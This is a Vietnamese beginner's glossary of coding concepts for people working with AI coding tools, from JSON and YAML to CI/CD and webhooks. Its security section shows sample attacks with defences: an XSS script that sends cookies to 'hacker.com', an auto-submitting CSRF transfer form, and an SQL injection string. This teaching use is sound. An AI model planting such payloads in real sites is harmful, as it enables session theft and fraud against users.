30+ khái niệm cơ bản phải biết khi làm việc với AI Coding

Tại sao có bài này

Khi bạn làm việc với AI Coding (Claude Code, Cursor, ChatGPT, v0.dev), bạn sẽ gặp các thuật ngữ như Markdown, JSON, YAML, Regex, .env, npm, cron, webhook... liên tục. AI assume bạn biết, không giải thích.

Bài này list 34 khái niệm phổ biến nhất chia 8 nhóm + giải thích ngắn + ví dụ + khi nào bạn gặp. Đọc 1 lần để có mental model (mô hình trong đầu), không cần thuộc lòng.

Nhóm A — Định dạng văn bản (Text formats)

Đây là cách lưu + trao đổi dữ liệu giữa người ↔ AI ↔ máy.

Markdown

Ngôn ngữ "đánh dấu" văn bản đơn giản. Bạn viết text + ký hiệu nhỏ (#, **, -) để định nghĩa heading, bold, list. Trình đọc (Markdown viewer) hoặc trình biên dịch (parser) chuyển thành HTML.

Ví dụ:

# Tiêu đề chính
## Tiêu đề phụ
Đoạn văn **in đậm** với *in nghiêng*.
- Item 1
- Item 2
[Link tới Google](https://google.com)

Ví dụ thực tế: Bạn hỏi ChatGPT "viết bài giới thiệu công ty 200 từ". ChatGPT trả lời có heading "Giới thiệu", paragraph, bullet list "Sản phẩm chính". Copy đoạn này → paste vào Notion → Notion tự render thành in đậm, list. Paste vào Microsoft Word → chỉ thấy text thô có **Giới thiệu** (Word KHÔNG hiểu Markdown).

Khi nào bạn gặp:

• AI (Claude, ChatGPT) luôn output dạng Markdown
• README file trên GitHub (README.md)
• Tài liệu kỹ thuật, blog dev
• Notion, Obsidian, Linear đều dùng Markdown

Học mất: 10 phút. Cheat sheet (bảng tóm tắt): markdownguide.org

MDX

Markdown có thêm khả năng nhúng component React vào giữa text. Web bạn đang đọc viết bằng MDX — mỗi bài là 1 file .mdx.

Ví dụ:

# Bài blog
 
Đoạn văn bình thường.
 
<MyCustomChart data={...} />
 
Lại đoạn văn nữa.

Ví dụ thực tế: Wiki bạn đang đọc trên vietcodex.com viết bằng MDX — mỗi bài là 1 file .mdx ~10KB. Frontmatter (8 dòng đầu giữa hai ---) lưu title + tags, body là Markdown thường, nhưng có chèn <figure> + custom component như callout box. Stripe Docs và Vercel Docs cũng dùng MDX để chèn live demo Stripe Element vào giữa hướng dẫn.

Khi nào bạn gặp: Documentation site (docs.com), wiki kỹ thuật, Next.js content, AI generate cho dự án có React.

JSON

Format trao đổi data phổ biến nhất giữa frontend ↔ backend (xem API là gì). Cấu trúc cặp key: value lồng nhau.

Ví dụ:

{
  "id": 123,
  "name": "Nguyễn Văn A",
  "email": "[email protected]",
  "orders": [
    { "orderId": 1, "total": 250000 },
    { "orderId": 2, "total": 80000 }
  ],
  "active": true
}

Ví dụ thực tế: Mỗi lần bạn mở Shopee xem 1 sản phẩm, app gọi API GET /product/123 → server trả file JSON ~5KB có {name, price, stock, images: [...], reviews: [...]}. App parse JSON → render UI bạn thấy. Bấm F12 trên web, vào Network tab — bạn xem được JSON thật mỗi API call.

Khi nào bạn gặp:

• Mọi API response (kết quả trả về)
• Config file (vd: package.json, tsconfig.json)
• AI sinh structured output (output có format)
• Backend ↔ Frontend communication (giao tiếp)

Quy tắc cú pháp JSON:

• Dùng " (double quote) không phải '
• Cuối phần tử KHÔNG có dấu phẩy thừa
• Key phải có quote: "name", không name

YAML

Format config dễ đọc cho người — dùng indent (thụt lề) thay { }. Khoảng trắng QUAN TRỌNG.

Ví dụ:

name: VietCodex Wiki
version: 1.0
author:
  name: Nguyễn Văn A
  email: [email protected]
articles:
  - title: Internet là gì
    published: true
  - title: AI Coding là gì
    published: true
features:
  search: true
  comments: false

Ví dụ thực tế: Dự án BTB (Backlink Thái Bình) dùng Docker Compose — file docker-compose.yml 30 dòng YAML khai báo 4 service: postgres, app Next.js, nginx, redis. Mỗi lần deploy chỉ cần sửa version image: nextjs-app:v2.1 rồi chạy docker compose up -d. Lỡ thụt 1 space thừa trước image: → Docker báo "yaml: line 12: mapping values are not allowed" → service nào cũng không lên.

Khi nào bạn gặp:

• Docker Compose (docker-compose.yml)
• GitHub Actions workflow (.github/workflows/*.yml)
• Kubernetes config
• Frontmatter trong MDX (8 dòng đầu mỗi bài wiki — giữa hai ---)

Gotcha (lỗi thường gặp): YAML dùng SPACE (dấu cách) không dùng TAB cho indent. Sai 1 space → toàn bộ file lỗi.

CSV

Format tabular đơn giản — như Excel nhưng text thuần. Mỗi dòng = row, cột ngăn bằng ,.

Ví dụ:

id,name,price,stock
1,"Áo thun nam",250000,42
2,"Quần jean",450000,15
3,"Mũ snapback",120000,87

Ví dụ thực tế: Bạn vào Shopee Seller Center, bấm "Xuất đơn hàng tháng 4" → tải về file donhang_042026.csv ~200KB chứa 1500 dòng đơn. Mở bằng Excel hoặc Google Sheets — mỗi cột (mã đơn, tên khách, tổng tiền, SĐT) hiện đúng theo header. Nếu tên khách có dấu phẩy "Trần Văn A, Co.,Ltd" mà không quote → cột bị lệch, "Co" thành mã đơn dòng sau.

Khi nào bạn gặp: Export dữ liệu từ web → bảng tính, import data vào DB, AI gen list dữ liệu, train ML model.

Quote khi value có dấu phẩy: "Hà Nội, Việt Nam" thay vì Hà Nội, Việt Nam.

Nhóm B — Code & Programming basics

Regex

Pattern (mẫu) để tìm/thay text. Chuỗi ký tự kỳ lạ nhưng cực mạnh.

Ví dụ:

Tìm email: /^[\w.-]+@[\w.-]+\.\w+$/
Tìm số điện thoại VN: /^0[3-9]\d{8}$/
Tìm URL: /https?:\/\/[\w.-]+/

Ví dụ thực tế: Bạn build form đăng ký Shopee clone. User nhập SĐT — bạn cần chặn người gõ "abc123" hoặc "098765" (thiếu số). Hỏi Claude: "Cho regex validate SĐT VN" → Claude trả /^0[3-9]\d{8}$/ (0 đầu, số thứ 2 từ 3-9, 8 số nữa). Paste vào regex101.com kiểm tra: "0987654321" pass, "0123456789" fail (số thứ 2 là 1), "098abc4321" fail. 30 giây setup, chặn 100% input rác.

Khi nào bạn gặp: AI gen validation (kiểm tra dữ liệu), tìm-thay trong VS Code (Ctrl+F → checkbox "Use Regex"), parse log file.

Mẹo: Đừng học từ đầu. Hỏi AI generate, dùng regex101.com để verify (kiểm tra) + giải thích.

Diff

So sánh 2 phiên bản code, show dòng nào thêm/sửa/xoá. Format chuẩn dùng + (thêm), - (xoá), context (dòng không đổi).

Ví dụ:

function getUserById(id) {
-  const user = db.users.find(u => u.id === id);
-  return user;
+  const user = db.users.find(u => u.id === id);
+  if (!user) throw new Error("User not found");
+  return user;
}

Ví dụ thực tế: Bạn yêu cầu Claude Code "fix bug trang checkout VietCodex không tính phí ship". Claude đọc file checkout.ts, trả về diff: 3 dòng đỏ (-) xoá logic cũ tính sai + 5 dòng xanh (+) thêm if (order.totalWeight > 5) shippingFee = 35000. Bạn nhìn diff 2 giây hiểu Claude đổi gì, bấm Accept → file tự update. Nếu Claude trả full file 200 dòng, bạn phải đọc lại toàn bộ → mất 5 phút.

Khi nào bạn gặp:

• AI propose code changes (đề xuất sửa code) thường dạng diff
• Git diff khi review commit (xem lại lần lưu)
• Pull Request trên GitHub
• git log -p xem lịch sử file

Environment variables

File chứa cấu hình + secret (mật khẩu, API key) riêng cho từng môi trường. KHÔNG commit lên Git.

Ví dụ file .env:

DATABASE_URL=postgresql://user:password@localhost:5432/mydb
STRIPE_SECRET_KEY=sk_live_abc123xyz
OPENAI_API_KEY=sk-proj-xxx
NEXT_PUBLIC_SITE_URL=https://vietcodex.com

Quy tắc bắt buộc:

• File .env → trong .gitignore (Git bỏ qua)
• Commit file .env.example (không chứa secret thật, làm template)
• Production secret lưu ở env của hosting (Vercel, Railway, AWS Secrets Manager)

Ví dụ thực tế: Dev BTB tích hợp VNPay test mode — copy 2 dòng VNPAY_TMN_CODE=... và VNPAY_HASH_SECRET=... từ VNPay sandbox dashboard vào file .env local. Lỡ commit .env lên GitHub public repo — 30 phút sau bot scan GitHub thấy key, lập tức dùng để gọi VNPay test API spam. May là test mode không mất tiền, nhưng key bị VNPay revoke → phải xin cấp lại. Bài học: thêm .env vào .gitignore NGAY phút đầu setup.

Khi nào bạn gặp: Mọi dự án đều có .env. AI sẽ hỏi/sinh khi setup project mới.

Linter

Phần mềm tự động tìm lỗi code (typo, unused variable, format sai) trước khi chạy. Dev professional luôn dùng.

Ví dụ:

• JavaScript/TypeScript: ESLint
• Python: Ruff, Pylint, Flake8
• Go: golangci-lint
• CSS: Stylelint

Ví dụ thực tế: Bạn paste code Claude gen vào VS Code, save file OrderForm.tsx. ESLint chạy ngầm < 1 giây — gạch chân đỏ dòng const phone = "0987654321" với hint "phone defined but never used" + dòng if(x == 5) warning "Use === instead of ==". Bạn hover hint, Alt+Enter → ESLint tự fix. Nếu không có linter, 2 lỗi này âm thầm chui vào prod, sau đó tốn 30 phút debug "tại sao biến không cập nhật".

Khi nào bạn gặp: AI gen code thường có hint linter rule (quy tắc lint). VS Code chạy linter tự động, gạch chân đỏ chỗ sai.

TypeScript

Hệ thống "kiểu dữ liệu" cho JavaScript. Khai báo trước biến này là số/chuỗi/object, AI/compiler bắt lỗi khi gọi sai.

Ví dụ:

// JavaScript thuần — lỗi không phát hiện
function getPrice(item) {
  return item.priec; // typo "priec" thay vì "price" — chỉ phát hiện khi chạy
}
 
// TypeScript — bắt lỗi ngay khi viết
interface Item {
  price: number;
  name: string;
}
function getPrice(item: Item) {
  return item.priec; // ERROR: 'priec' không tồn tại trên Item
}

Ví dụ thực tế: App admin BTB hiển thị đơn hàng — bạn gõ order.totlaPrice (typo "totla" thay "total"). JavaScript thuần: code chạy bình thường, dashboard hiện "đ undefined" sau khi deploy → user tưởng web hỏng. TypeScript: VS Code gạch đỏ NGAY khi gõ, hint "Did you mean 'totalPrice'?", bấm Tab tự fix. Tránh được 1 bug 5 phút trước khi build. Cả Shopee, Tiki, Lazada giờ đều dùng TypeScript cho frontend.

Khi nào bạn gặp: 90% dự án professional 2026 dùng TypeScript thay JavaScript thuần. AI gen TypeScript mặc định trừ khi bạn nói rõ "vanilla JS".

Nhóm C — Web architecture

DOM

Cây HTML mà trình duyệt build trong RAM từ file .html. JS đọc/sửa DOM để thay đổi UI động.

Ví dụ:

<body>
  <div id="app">
    <h1>Chào</h1>
    <button>Click</button>
  </div>
</body>

→ Trình duyệt build DOM:

body
└── div#app
    ├── h1 ("Chào")
    └── button ("Click")

JS document.querySelector("h1").textContent = "Xin chào" thay đổi DOM → UI update.

Ví dụ thực tế: Bạn mở Tiki, bấm F12 → tab Elements. Cây DOM hiện ra: <body> → <div id="root"> → 50+ component lồng nhau (header, banner, sản phẩm, footer). Click vào 1 product card trong cây — Tiki highlight nó trên web. Đổi text giá 850.000₫ thành 1₫ trong DOM tab → trang hiện ngay giá 1đ (chỉ trên máy bạn, không ảnh hưởng server). Đây là cách demo show off "tôi hack được Tiki" thực ra chỉ sửa DOM client-side.

Khi nào bạn gặp: Bug "DOM not ready", AI explain UI manipulation, React/Vue đều dùng DOM dưới surface.

SSR vs SSG vs CSR

Ví dụ thực tế: Web vietcodex.com dùng cả 3: landing page / = SSG (build sẵn HTML lúc deploy → TTFB 80ms, Google crawl dễ), /bang-gia = SSR (giá có thể đổi, render mỗi request có data mới), /admin/dashboard = CSR (chỉ cần khi user login, JS load xong mới gọi API). Ngược lại Tiki landing nếu dùng CSR thuần → user thấy màn trắng 2 giây + Google bot không crawl được giá → mất SEO.

Khi nào bạn gặp: Next.js cho phép mix cả 3 — bạn chọn per page. AI gen sẽ recommend dựa vào use case (landing page = SSG, dashboard = CSR, blog = SSG hoặc SSR).

Hot Reload

Sửa file → dev server tự update preview ngay, không reload trang. Tiết kiệm thời gian dev 10-100x.

Ví dụ workflow:

1. Bạn sửa <h1>Hello</h1> thành <h1>Xin chào</h1> trong VS Code
2. Save (Ctrl+S)
3. Trình duyệt < 200ms sau hiện "Xin chào" — không reload, state form không mất

Ví dụ thực tế: Bạn build form đăng ký VietCodex, đã điền 8 ô (tên, email, SĐT, công ty...) đến ô "Mô tả dự án". Lúc này muốn đổi màu nút submit từ xanh sang cam. Sửa bg-blue-500 thành bg-orange-500 trong VS Code, Ctrl+S — Next.js HMR < 200ms cập nhật MÀU nút, 8 ô form vẫn giữ nguyên nội dung đã gõ. Nếu chỉ có hot reload (reload toàn trang) → 8 ô rỗng lại, phải gõ lại từ đầu. HMR tiết kiệm 30 giây mỗi lần sửa CSS.

Khi nào bạn gặp: Mọi dev server (Next.js dev, Vite, webpack-dev-server) đều có HMR. AI gen code, bạn thấy thay đổi ngay.

Cookie vs LocalStorage vs SessionStorage

3 cách trình duyệt lưu data nhỏ trên máy user.

Ví dụ thực tế: Bạn login Shopee — Shopee set 1 cookie SPC_U=xxxxx expire 30 ngày, mỗi request sau tự gửi kèm để server biết bạn là ai (đó là lý do bạn không phải login lại mỗi lần). Đồng thời Shopee dùng localStorage lưu theme=dark + danh sách sản phẩm đã xem gần đây (15KB) — không gửi server, chỉ để render UI nhanh. Bấm "Đặt hàng" mở form thanh toán nửa chừng đóng tab → sessionStorage xoá luôn (lần sau mở phải gõ địa chỉ lại).

Khi nào bạn gặp: AI gen auth flow → cookie. Save user preference → localStorage. Form draft → sessionStorage.

CORS

Cơ chế bảo mật của trình duyệt — JS ở domain A không được gọi API ở domain B trừ khi B cho phép rõ ràng. Xem API là gì FAQ CORS.

Ví dụ thực tế: Bạn build landing trên vietcodex.com gọi API admin ở api.vietcodex.com để lấy bảng giá. Mở web — DevTools Console hiện đỏ: Access to fetch at 'https://api.vietcodex.com/pricing' from origin 'https://vietcodex.com' has been blocked by CORS policy. API gọi không chạy, bảng giá rỗng. Fix: backend thêm header Access-Control-Allow-Origin: https://vietcodex.com. Đây là lỗi #1 dev junior gặp tuần đầu fullstack — gần như không tránh được.

Khi nào bạn gặp: DevTools báo CORS blocked → AI sẽ fix bằng cách thêm header Access-Control-Allow-Origin ở backend.

Nhóm D — Dev tools

Terminal

Cửa sổ gõ lệnh thay vì click chuột. Mỗi OS có terminal riêng:

Lệnh phổ biến:

cd folder-name     # Đi vào folder
ls                 # List file trong folder
pwd                # Print working directory (hiện đường dẫn hiện tại)
mkdir new-folder   # Tạo folder mới
rm file.txt        # Xoá file
cp src dest        # Copy file

Ví dụ thực tế: Lần đầu clone repo VietCodex từ GitHub, bạn mở Terminal (Windows Terminal/PowerShell). Gõ 3 lệnh: cd e:\vietcodex (di chuyển vào folder), pnpm install (cài 800+ package, mất 1 phút), pnpm dev (khởi động dev server). Terminal hiện ▲ Next.js 15.0 · Local: http://localhost:3050 → mở browser, web chạy. Không cần Terminal = không deploy được, không git push được — đây là "cửa hậu" mọi dev và AI Coding đều dùng.

Khi nào bạn gặp: Setup project mới, chạy pnpm dev, git push, deploy. AI sẽ gen lệnh cụ thể cho hệ điều hành bạn.

Package manager

Phần mềm cài + quản thư viện code (gọi là package hoặc dependency) cho project.

Lệnh phổ biến (pnpm):

pnpm install               # Cài tất cả từ package.json
pnpm add react             # Thêm react vào dependencies
pnpm add -D typescript     # Thêm vào devDependencies (chỉ dev)
pnpm remove react          # Xoá react
pnpm update                # Update mọi package
pnpm dev                   # Chạy script "dev" trong package.json

Ví dụ thực tế: Dự án VietCodex cài 47 package: React, Next.js, Tailwind, Drizzle ORM, better-auth, lucide-icons... Bạn KHÔNG viết React từ đầu (mất 5 năm) — chỉ chạy pnpm add react 2 giây, code có sẵn. Lần đầu pnpm install mất 1 phút tải 800MB từ npm registry. Đổi sang pnpm (vs npm) giảm xuống 250MB nhờ share package giữa các project — máy bạn còn dư ổ cứng cho thêm 5 project nữa.

Khi nào bạn gặp: Mọi project JavaScript/TypeScript. AI sẽ recommend pnpm cho dự án mới 2026.

CI/CD

Tự động hoá quy trình: code push → chạy test → build → deploy. KHÔNG cần dev làm tay mỗi lần.

Tool phổ biến:

• GitHub Actions (free cho public + 2.000 phút/tháng private)
• GitLab CI (mạnh nhất cho doanh nghiệp)
• CircleCI, Travis, Jenkins (cũ hơn)

Workflow điển hình:

# .github/workflows/deploy.yml
on: [push]
jobs:
  test-and-deploy:
    runs-on: ubuntu-latest
    steps:
      - run: pnpm install
      - run: pnpm test
      - run: pnpm build
      - run: pnpm deploy

Push code → GitHub Actions tự chạy 4 bước trên trong vài phút.

Ví dụ thực tế: Bạn sửa bug giá sản phẩm BTB lúc 23h, git push origin main. 5 giây sau GitHub Actions kích hoạt: chạy 312 test (3 phút), build Next.js (2 phút), upload lên Vercel (45 giây) → tổng 6 phút sau, vietcodex.com đã có code mới. Không phải SSH vào server, không phải nhớ 8 lệnh deploy thủ công, không lo quên bước. Nếu 1 test fail (vd: test giá < 0 fail) → CI block deploy + email cảnh báo, prod không bị bug.

Khi nào bạn gặp: Mọi dự án professional có CI/CD. AI gen file workflow YAML khi setup deploy automation.

Nhóm E — AI workflow specific

Cron job

Lịch chạy code tự động theo schedule. Format: 5 trường ngăn bởi space.

* * * * *
│ │ │ │ │
│ │ │ │ └── thứ trong tuần (0-6, 0=Chủ nhật)
│ │ │ └──── tháng (1-12)
│ │ └────── ngày (1-31)
│ └──────── giờ (0-23)
└────────── phút (0-59)

Ví dụ cron expression:

0 0 * * *       # Mỗi nửa đêm
0 8 * * 1       # 8h sáng mỗi thứ Hai
*/15 * * * *    # Mỗi 15 phút
0 9 1 * *       # 9h sáng ngày 1 mỗi tháng

Ví dụ thực tế: BTB chạy cron 0 2 * * * (2h sáng mỗi đêm) backup database Postgres lên Backblaze B2 — chạy 8 tháng nay tự động, dev không cần can thiệp. Tổng 15GB/năm trong free tier B2 ($0/tháng). Một cron khác 0 8 * * 1 (8h sáng thứ Hai) gửi email weekly report cho admin tổng hợp 7 ngày đơn hàng. Quên cú pháp? Paste vào crontab.guru — nó dịch ra "At 02:00 every day" cho bạn double-check trước khi deploy.

Khi nào bạn gặp: AI gen scheduled task — gửi email nhắc nhở 8h sáng, backup DB mỗi đêm, dọn dẹp data cũ mỗi tuần.

Mẹo: Verify cron expression bằng crontab.guru — paste vào, nó dịch ra tiếng Anh.

Webhook

URL nhận thông báo khi có sự kiện ở dịch vụ khác. Ngược với API call (bạn gọi server) — webhook là server gọi bạn.

Ví dụ workflow VNPay:

1. User thanh toán đơn hàng → VNPay xử lý
2. Thanh toán thành công → VNPay GỬI POST request tới webhook URL của bạn:

   POST https://yourapi.com/webhook/vnpay
   Body: { orderId: 123, status: "paid", amount: 250000 }
   

3. Server bạn nhận → update đơn hàng "paid" → gửi email user

Ví dụ thực tế: BTB nhận lead từ landing page qua webhook: user submit form → app landing POST tới https://app.backlinkthaibinh.com.vn/api/webhook/leads kèm header Authorization: Bearer <secret> + body JSON {name, phone, service, message}. Admin app nhận trong < 500ms → insert vào DB + push notification cho ADMIN trong dashboard. Nếu không có webhook → admin phải refresh dashboard mỗi 30 giây để check lead mới = polling tốn tài nguyên + lead bị delay 30 giây.

Khi nào bạn gặp: Tích hợp Stripe, VNPay, Zalo OA, Discord, GitHub. AI gen endpoint nhận webhook (cần verify signature để chống fake).

Nhóm F — IDE & Dev Tools

IDE

IDE (Integrated Development Environment — môi trường lập trình tích hợp) = phần mềm "all-in-one" cho dev: editor code + debugger + terminal + git + extension marketplace cùng 1 chỗ. Khác với editor đơn thuần (chỉ sửa text).

Ví dụ IDE phổ biến 2026:

Ví dụ thực tế: Bạn mở VS Code, vào folder vietcodex-app/. Trong 1 cửa sổ duy nhất bạn có: cây file bên trái (tìm file 0.5s), editor code giữa (gõ HTML/TS có autocomplete), Terminal dưới (chạy pnpm dev), Git panel (commit + push), Extension Cursor/Claude Code (chat AI ngay trong editor), Debugger (F5 đặt breakpoint). Nếu dùng Notepad → mỗi việc phải mở app riêng, copy-paste tab qua tab, năng suất giảm 5x. Đó là lý do dev hiện đại không rời IDE.

Khi nào bạn gặp: Mọi project code đều mở trong IDE. AI Coding (Cursor, Claude Code extension) đều tích hợp vào IDE. Setup project mới = chọn IDE đầu tiên.

Code editor

Editor "thuần" chỉ sửa text + syntax highlighting (tô màu cú pháp). Khác IDE ở chỗ KHÔNG có debugger, terminal, build tool tích hợp — nhẹ hơn nhưng ít tính năng.

Ví dụ:

• Sublime Text — nhanh, gọn, $99 license
• Atom (đã ngừng phát triển 2022 — vẫn dùng được)
• Notepad++ — Windows, free
• Vim / Neovim — terminal-based, learning curve cao

Ví dụ thực tế: Khi cần sửa nhanh file nginx.conf trên server VPS Vinahost qua SSH — bạn không thể cài VS Code lên server Linux không GUI, nên dùng nano hoặc vim (đã có sẵn). Hoặc trên máy Windows muốn xem nhanh log app 500MB — Notepad++ mở < 2 giây trong khi VS Code mất 30 giây + lag. Editor "thuần" dùng khi cần nhẹ, nhanh, không cần debugger.

Ranh giới Editor vs IDE mờ dần — VS Code về kỹ thuật là "editor" nhưng có extension làm cho nó như IDE. Năm 2026 đa số dev gọi VS Code là "IDE" cho tiện.

Debugger

Công cụ "đặt breakpoint" — code chạy đến dòng đó thì DỪNG, cho bạn xem giá trị biến, step qua từng dòng, tìm bug.

Workflow điển hình:

1. Đặt breakpoint ở dòng nghi bug (click bên trái số dòng)
2. Chạy code trong debug mode (F5 trong VS Code)
3. Code chạy đến breakpoint → dừng
4. Xem panel: biến đang có giá trị gì, call stack (chuỗi hàm gọi nhau)
5. Step Over (F10) → chạy dòng tiếp, Step Into (F11) → vào hàm
6. Tìm dòng gây bug

Ví dụ thực tế: App BTB tính phí ship trả về sai số "490.000đ" thay vì "49.000đ" — bug lặp đi lặp lại nhưng console.log() chỉ in 1 lần, không thấy logic sai. Bạn đặt breakpoint ở dòng const shipping = baseFee * quantity * weight, chạy F5 với đơn test. Code dừng → panel Variables hiện baseFee=10000, quantity=1, weight=4.9 → ah, weight đáng lẽ phải là 0.49 kg, không phải 4.9. Bug ở chỗ user nhập "490g" mà parser nhận sai. Sửa 1 dòng, hết bug. Debugger giải quyết trong 5 phút việc console.log không cho ra trong 1 tiếng.

Khi nào bạn gặp: Sửa bug logic phức tạp mà console.log không đủ. AI có thể dùng debugger qua MCP tool nhưng vẫn cần dev đọc kết quả.

REPL

REPL (Read-Eval-Print Loop — đọc-tính-in-lặp) = cửa sổ shell tương tác để chạy code từng đoạn nhỏ + thấy kết quả ngay. Không cần tạo file + chạy.

Ví dụ REPL phổ biến:

# JavaScript REPL trong Node.js
$ node
> const x = 5 * 7
> console.log(x)
35
 
# Python REPL  
$ python
>>> def greet(name): return f"Xin chào, {name}"
>>> greet("Anh")
'Xin chào, Anh'

Ví dụ thực tế: Bạn không nhớ JavaScript parse "250.000" thành 250 hay 250000. Thay vì viết file test.js rồi node test.js, mở Terminal gõ node, ENTER → REPL hiện >. Gõ parseInt("250.000") → trả 250 (dấu chấm cắt). Gõ Number("250000") → trả 250000. 10 giây có đáp án, không tạo file rác. F12 trên bất kỳ web Chrome nào (Tiki/Shopee/Facebook) → tab Console cũng là 1 JavaScript REPL — gõ 1 + 1 ngay trên web Shopee để test.

Khi nào bạn gặp: Test ý tưởng nhanh, debug expression (biểu thức) phức tạp, học ngôn ngữ mới. AI thường gợi ý "thử trong REPL trước khi viết function".

Sandbox / Playground

Web editor cho phép code + chạy + share online — không cần cài gì local.

Ví dụ:

Ví dụ thực tế: Bạn hỏi ChatGPT "viết React component carousel sản phẩm Shopee-style". ChatGPT trả 80 dòng code. Để test không cần setup project — copy paste vào StackBlitz, 5 giây sau có Next.js chạy ngay trên browser với carousel hoạt động. Hài lòng thì copy code về VS Code, không thì hỏi ChatGPT sửa. Hoặc bạn báo bug GitHub "Drizzle ORM query này crash" — thay vì zip cả project 500MB, fork link CodeSandbox 5KB reproduce bug, maintainer xem trong 30 giây.

Khi nào bạn gặp: AI gen demo, bạn paste vào sandbox để thử. Bug report stack overflow thường có sandbox link reproduce.

Build tool & Bundler

Build tool = phần mềm "lắp ráp" code từ nhiều file thành output deploy được. Bao gồm transpile (chuyển đổi ngôn ngữ), minify (nén), tree-shake (loại bỏ code không dùng).

Bundler = phần con của build tool — gộp nhiều file JS/CSS thành 1-2 file lớn để gửi browser.

Ví dụ 2026:

Ví dụ thực tế: Code VietCodex có 487 file TypeScript + 200 file CSS + 50 ảnh. Browser không thể tải 700 file riêng lẻ (chậm 30 giây). Khi bạn chạy pnpm build, Turbopack: (1) transpile TypeScript → JavaScript, (2) gộp 487 file JS thành 8-12 file bundle có hash app-a3f2b9.js, (3) minify từ 15MB xuống 2.5MB, (4) tree-shake bỏ code Tailwind không dùng (CSS từ 3MB → 80KB). User load web tải 12 file thay 700 file → TTFB 200ms thay vì 5 giây.

Khi nào bạn gặp: Lần đầu xem package.json thấy "build": "next build" — đó là chạy bundler. AI gen project đều có build script.

Compiler & Transpiler

Compiler (trình biên dịch) = chuyển source code (mã nguồn) sang machine code (mã máy chạy được).

Transpiler = chuyển source code sang source code khác (cùng cấp).

Ví dụ:

Ví dụ thực tế: App admin BTB viết bằng TypeScript file OrderForm.tsx — bạn dùng cú pháp mới ?. (optional chaining) và ?? (nullish coalescing). Browser Safari iOS 12 trên iPhone 6 (vẫn nhiều user VN dùng) không hiểu ?. → web crash. SWC transpile user?.name ?? "Khách" thành user && user.name ? user.name : "Khách" (cú pháp ES5 mọi browser cũ đều hiểu) trước khi gửi xuống client. SWC chạy nhanh hơn Babel 20 lần — next build 487 file từ 90 giây xuống 4 giây.

Khi nào bạn gặp: Setup TypeScript project — tsc chạy ngầm khi next build. AI khuyên dùng SWC thay Babel cho Next.js dự án mới (đã default từ Next 12).

Nhóm G — Security basics

XSS

XSS (Cross-Site Scripting — chèn script chéo trang) = lỗ hổng cho phép hacker chèn JS chạy trong browser user khác. Nguy hiểm: đánh cắp Cookie session, mạo danh user.

Ví dụ tấn công:

User comment: <script>fetch('https://hacker.com/steal?cookie=' + document.cookie)</script>

Nếu web hiển thị comment thô (không escape) → script chạy trong browser của mọi user xem comment → hacker lấy cookie.

Cách phòng:

• Escape HTML khi hiển thị user input (React/Vue tự làm)
• Content Security Policy (CSP) header
• Validate input cẩn thận

Ví dụ thực tế: Năm 2014, eBay từng dính lỗi XSS — hacker đăng listing có script ẩn, ai vào xem product page bị đánh cắp cookie session → mất tài khoản. Sau đó eBay thêm escape HTML cho mọi user input. Ngày nay React/Vue tự escape — nhưng nếu bạn dùng dangerouslySetInnerHTML (React) hoặc v-html (Vue) phải verify input cẩn thận. Web review sản phẩm cho phép user "format đẹp" comment dạng HTML = nguy cơ XSS cao nhất.

Khi nào bạn gặp: AI gen form/comment system → security review cần verify escape. Production bug.

SQL Injection

Hacker chèn câu SQL vào input form, làm DB chạy lệnh không mong muốn (xem toàn bộ user, xoá table...).

Ví dụ tấn công:

Code BAD (ghép chuỗi):

const sql = `SELECT * FROM users WHERE email = '${userInput}'`;
// User nhập: ' OR '1'='1
// SQL thành: SELECT * FROM users WHERE email = '' OR '1'='1' → trả về MỌI user

Code GOOD (prepared statement):

const sql = "SELECT * FROM users WHERE email = $1";
db.query(sql, [userInput]); // $1 được escape tự động

Cách phòng: Luôn dùng prepared statement / ORM. KHÔNG ghép chuỗi SQL với input từ user.

Ví dụ thực tế: Năm 2011, Sony PlayStation Network bị hack lộ 77 triệu tài khoản qua SQL Injection — thiệt hại $171 triệu. Tại VN, nhiều site PHP cũ thời 2010-2015 dính lỗi này hàng loạt. Code an toàn ngày nay dùng Drizzle ORM: db.select().from(users).where(eq(users.email, userInput)) — Drizzle tự escape, hacker gõ ' OR '1'='1 vào ô email chỉ tìm được literal string đó, không inject được. Đó là lý do AI Coding gen Drizzle/Prisma mặc định không gen raw SQL.

Khi nào bạn gặp: Code review backend. AI thường dùng ORM (Drizzle, Prisma) tránh issue này, nhưng vanilla SQL trong AI output cần check.

CSRF

CSRF (Cross-Site Request Forgery — giả mạo yêu cầu chéo trang) = hacker lừa user click link/form → gửi request tới trang bạn đang login.

Ví dụ tấn công:

User đang login bank.com. Hacker gửi email có HTML:

<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="hacker_account" />
  <input name="amount" value="10000000" />
</form>
<script>document.forms[0].submit()</script>

User click email → form auto-submit từ browser của họ → bank.com nhận request có cookie hợp lệ → chuyển tiền.

Cách phòng: CSRF token (mỗi form có token random verify server-side). SameSite cookie. Framework hiện đại (Next.js, Laravel) có sẵn.

Ví dụ thực tế: Năm 2008, Gmail dính lỗi CSRF — hacker dụ user đang login Gmail click link, tự động set filter forward mọi email đến hộp thư hacker. Hiện tại bạn login Momo/VNPay đang để mở tab → click link Facebook lừa đảo "claim 5 triệu" → nếu Momo không có CSRF protection, hacker có thể tự động trigger chuyển tiền từ tài khoản bạn. Next.js Server Actions, Laravel @csrf directive đều set token + check tự động — dev không phải nhớ, chỉ cần dùng framework đúng cách.

Khi nào bạn gặp: Đa số framework 2026 default an toàn CSRF. Vẫn cần check khi build form POST custom.

Rate limiting

Giới hạn số request 1 user/IP gửi đến server trong khoảng thời gian. Chống brute force (thử mật khẩu liên tục), spam, DDoS, abuse.

Ví dụ pattern:

Tool:

• Upstash Rate Limit (Vercel friendly)
• Cloudflare Rate Limiting Rules (free, IP-based)
• Nginx limit_req_module (server-level)

Ví dụ thực tế: Trang login admin BTB không có rate limit — 1 attacker chạy script thử 1000 password/giây bằng brute force. Sau khi thêm Upstash Rate Limit 5 attempts/15 phút/IP → attacker thử 5 lần fail, IP bị block 15 phút → tốc độ brute force giảm từ 1000/giây xuống 20/giờ = 50 triệu lần chậm hơn = không khả thi. Tương tự endpoint /api/send-email BTB chặn 10 email/ngày/user — tránh spam ngân sách SendGrid $0.001/email nếu bot lạm dụng.

Khi nào bạn gặp: Build login, signup, API public. AI gen rate limiter khi bạn nói "production-ready". Bài học từ pentest.

Nhóm H — Design & UX

UI (User Interface)

UI (User Interface — giao diện người dùng) = phần app bạn NHÌN THẤY và CHẠM VÀO: nút bấm, ô input, màu sắc, font chữ, layout, animation. UI tốt = đẹp + rõ ràng + nhất quán + match brand.

